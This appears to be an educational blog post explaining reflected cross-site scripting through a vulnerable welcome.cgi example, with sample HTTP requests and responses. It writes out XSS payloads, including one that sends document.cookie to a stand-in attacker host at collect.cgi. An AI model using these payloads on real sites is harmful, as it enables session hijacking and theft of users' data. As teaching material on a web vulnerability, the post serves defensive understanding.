Introduction:
Cross Site Scripting (CSS for short, but sometimes abbreviated as XSS) is one of the most common application level attacks that hackers use to sneak into web applications today. Cross site scripting is an attack on the privacy of clients of a particular web site which can lead to a total breach of security when customer details are stolen or manipulated. Unlike most attacks, which involve two parties – the attacker, and the web site, or the attacker and the victim client, the CSS attack involves three parties – the attacker, a client and the web site. The goal of the CSS attack is to steal the client cookies, or any other sensitive information, which can identify the client with the web site. With the token of the legitimate user at hand, the attacker can proceed to act as the user in his/her interaction with the site – specifically, impersonate the user. For example, in one audit conducted for a large company it was possible to peek at the user’s credit card number and private information using a CSS attack. This was achieved by running malicious Javascript code at the victim (client) browser, with the “access privileges” of the web site. These are the very limited Javascript privileges which generally do not let the script access anything but site related information. It should be stressed that although the vulnerability exists at the web site, at no time is the web site directly harmed. Yet this is enough for the script to collect the cookies and send them to the attacker. The result, the attacker gains the cookies and impersonates the victimFull explanation – the CSS technique
Let us call the site under attack: www.vulnerable.site.At the core of a traditional CSS attack lies a vulnerable script in the vulnerable site. This script reads
part of the HTTP request (usually the parameters, but sometimes also HTTP headers or path) and
echoes it back to the response page, in full or in part, without first sanitizing it i.e. making sure it
doesn’t contain Javascript code and/or HTML tags.
Suppose, therefore, that this script is named welcome.cgi, and its parameter is “name”. It can be
operated this way:
GET /welcome.cgi?name=Joe%20Hacker HTTP/1.0
Host: www.vulnerable.site
...
And the response would be:
<HTML>
<Title>Welcome!</Title>
Hi Joe Hacker
<BR>
Welcome to our system
...
</HTML>
How can this be abused?
Well, the attacker manages to lure the victim client into clicking a link the
attacker supplies to him/her. This is a carefully and maliciously crafted link, which causes the web
browser of the victim to access the site (www.vulnerable.site) and invoke the vulnerable script. The
data to the script consists of a Javascript that accesses the cookies the client browser has for
www.vulnerable.site. It is allowed, since the client browser “experiences” the Javascript coming from
www.vulnerable.site, and Javascript’s security model allows scripts arriving from a particular site to
access cookies belonging to that site.
Such a link looks like:
http://www.vulnerable.site/welcome.cgi?name=<script>alert(document.cookie)</script>
The victim, upon clicking the link, will generate a request to www.vulnerable.site, as follows:
GET /welcome.cgi?name=<script>alert(document.cookie)</script> HTTP/1.0
Host: www.vulnerable.site
...
And the vulnerable site response would be:
<HTML>
<Title>Welcome!</Title>
Hi <script>alert(document.cookie)</script>
<BR>
Welcome to our system
...
</HTML>
The victim client’s browser would interpret this response as an HTML page containing a piece of
Javascript code. This code, when executed, is allowed to access all cookies belonging to
www.vulnerable.site, and therefore, it will pop-up a window at the client browser showing all client
cookies belonging to www.vulnerable.site.
Of course, a real attack would consist of sending these cookies to the attacker. For this, the attacker
may erect a web site (www.attacker.site), and use a script to receive the cookies. Instead of popping up
a window, the attacker would write a code that accesses a URL at his/her own site (www.attacker.site),
invoking the cookie reception script with a parameter being the stolen cookies. This way, the attacker
can get the cookies from the www.attacker.site server.
The malicious link would be:
http://www.vulnerable.site/welcome.cgi?name=<script>window.open(“http://www.attacker.site/collec
t.cgi?cookie=”%2Bdocument.cookie)</script>
And the response page would look like:
<HTML>
<Title>Welcome!</Title>
Hi
<script>window.open(“http://www.attacker.site/collect.cgi?cookie=”+document.cookie)<
/script>
<BR>
Welcome to our system
...
</HTML>
The browser, immediately upon loading this page, would execute the embedded Javascript and would
send a request to the collect.cgi script in www.attacker.site, with the value of the cookies of
www.vulnerable.site that the browser already has.
This compromises the cookies of www.vulnerable.site that the client has. It allows the attacker to
impersonate the victim. The privacy of the client is completely breached.
Comments
Post a Comment